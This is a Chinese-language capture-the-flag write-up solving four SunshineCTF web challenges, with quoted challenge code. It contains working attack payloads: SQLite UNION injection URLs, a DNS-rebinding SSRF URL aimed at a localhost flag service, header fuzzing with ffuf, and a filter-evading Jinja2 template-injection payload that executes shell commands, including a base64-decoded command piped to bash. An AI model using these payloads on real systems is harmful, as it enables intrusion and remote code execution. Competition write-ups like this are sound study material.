Lunar Auth
robots.txt:
# tired of these annoying search engine bots scraping the admin panel page logins:
Disallow: /admin
/admin有一段前端登录验证:
<script>
/*
To reduce load on our servers from the recent space DDOS-ers we have lowered login attempts by using Base64 encoded encryption
("encryption" 💀) on the client side.
TODO: implement proper encryption.
*/
const real_username = atob("YWxpbXVoYW1tYWRzZWN1cmVk");
const real_passwd = atob("UzNjdXI0X1BAJCR3MFJEIQ==");
document.addEventListener("DOMContentLoaded", () => {
const form = document.querySelector("form");
function handleSubmit(evt) {
evt.preventDefault();
const username = form.elements["username"].value;
const password = form.elements["password"].value;
if (username === real_username && password === real_passwd) {
// remove this handler and allow form submission
form.removeEventListener("submit", handleSubmit);
form.submit();
} else {
alert("[ Invalid credentials ]");
}
}
form.addEventListener("submit", handleSubmit);
});
</script>
解码base64得到username和password分别为alimuhammadsecured和S3cur4_P@$$w0RD!,登录拿到flag:
Mission Control — FLAG
Authorized access confirmed. Presenting mission artifact:
sun{cl1ent_s1d3_auth_1s_N3V3R_a_g00d_1d3A_983765367890393232}
Intergalactic Webhook Service
app.py:
import threading
from flask import Flask, request, abort, render_template, jsonify
import requests
from urllib.parse import urlparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import socket
import ipaddress
import uuid
def load_flag():
with open('flag.txt', 'r') as f:
return f.read().strip()
FLAG = load_flag()
class FlagHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/flag':
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(FLAG.encode())
else:
self.send_response(404)
self.end_headers()
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()
app = Flask(__name__)
registered_webhooks = {}
def create_app():
return app
@app.route('/')
def index():
return render_template('index.html')
def is_ip_allowed(url):
parsed = urlparse(url)
host = parsed.hostname or ''
try:
ip = socket.gethostbyname(host)
except Exception:
return False, f'Could not resolve host'
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
return False, f'IP "{ip}" not allowed'
return True, None
@app.route('/register', methods=['POST'])
def register_webhook():
url = request.form.get('url')
if not url:
abort(400, 'Missing url parameter')
allowed, reason = is_ip_allowed(url)
if not allowed:
return reason, 400
webhook_id = str(uuid.uuid4())
registered_webhooks[webhook_id] = url
return jsonify({'status': 'registered', 'url': url, 'id': webhook_id}), 200
@app.route('/trigger', methods=['POST'])
def trigger_webhook():
webhook_id = request.form.get('id')
if not webhook_id:
abort(400, 'Missing webhook id')
url = registered_webhooks.get(webhook_id)
if not url:
return jsonify({'error': 'Webhook not found'}), 404
allowed, reason = is_ip_allowed(url)
if not allowed:
return jsonify({'error': reason}), 400
try:
resp = requests.post(url, timeout=5, allow_redirects=False)
return jsonify({'url': url, 'status': resp.status_code, 'response': resp.text}), resp.status_code
except Exception:
return jsonify({'url': url, 'error': 'something went wrong'}), 500
if __name__ == '__main__':
print('listening on port 5000')
app.run(host='0.0.0.0', port=5000)
5001端口绑定了提供flag的服务,5000端口提供正常的web服务,思路是通过/register路由注册url,再通过/trigger路由打SSRF,但是对于is_ip_allowed对于url的限制很严格,简单来看就是过滤了本地ip,同时/trigger路由不允许重定向,无法使用自己的vps搭建的网页中的恶意javascript进行fetch,利用DNS重绑定来绕过:http://08080808.7f000001.rbndr.us:5001/flag
由于服务器设置的是随机返回第一个或第二个ip,需要多trigger几次:
{"response":"sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}","status":200,"url":"http://08080808.7f000001.rbndr.us:5001/flag"}
参考资料:
https://docs.python.org/zh-cn/3/howto/ipaddress.html
https://lock.cmpxchg8b.com/rebinder.html
Lunar Shop
SQLite注入,注入点为product_id:
https://meteor.sunshinectf.games/product?product_id=0%20union%20select%201,2,3,group_concat(tbl_name)%20from%20sqlite_master%20where%20type=%27table%27%20--+
https://meteor.sunshinectf.games/product?product_id=0%20union%20select%201,2,3,flag%20from%20flag%20--+
sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}
Web Forge
robots.txt:
User-agent: *
Disallow: /admin
Disallow: /fetch
# internal SSRF testing tool requires special auth header to be set to 'true'
使用ffuf进行header的fuzz:
ffuf -u https://wormhole.sunshinectf.games/fetch -H "FUZZ: true" -w uppercase-headers.txt -mc 200
ALLOW [Status: 200, Size: 5252, Words: 1498, Lines: 210, Duration: 1630ms]
找到了访问/fetch服务的header:ALLOW,置为true,尝试对/admin进行SSRF工具测试:
url=http://127.0.0.1/admin
You're trying to access /admin but forgot the ?template= parameter
猜测是SSTI,但是尝试SSTI检测报错:
url=http://127.0.0.1/admin?template={{7*7}}
HTTPConnectionPool(host='127.0.0.1', port=80): Max retries exceeded with url: /admin?template={{7*7}}
(Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x711fb7667130>: Failed to establish a new connection: [Errno 111] Connection refused')
无法正常连接到服务,猜测不是80端口,利用BurpSuite来爆破出端口8000,常规的SSTI利用无回显,直接上一个能绕过比较多过滤的payload:
url=http://127.0.0.1:8000/admin?template={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('whoami')|attr('read')()}}
但是同样无法执行cat等文件读取的命令,使用base64编解码绕过:
url=http://127.0.0.1:8000/admin?template={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo+Y2F0IGZsYWcudHh0|base64+-d|bash')|attr('read')()}}
sun{h34der_fuzz1ng_4nd_ssti_1s_3asy_bc10bf85cabe7078}
参考资料:
https://onsecurity.io/article/server-side-template-injection-with-jinja2/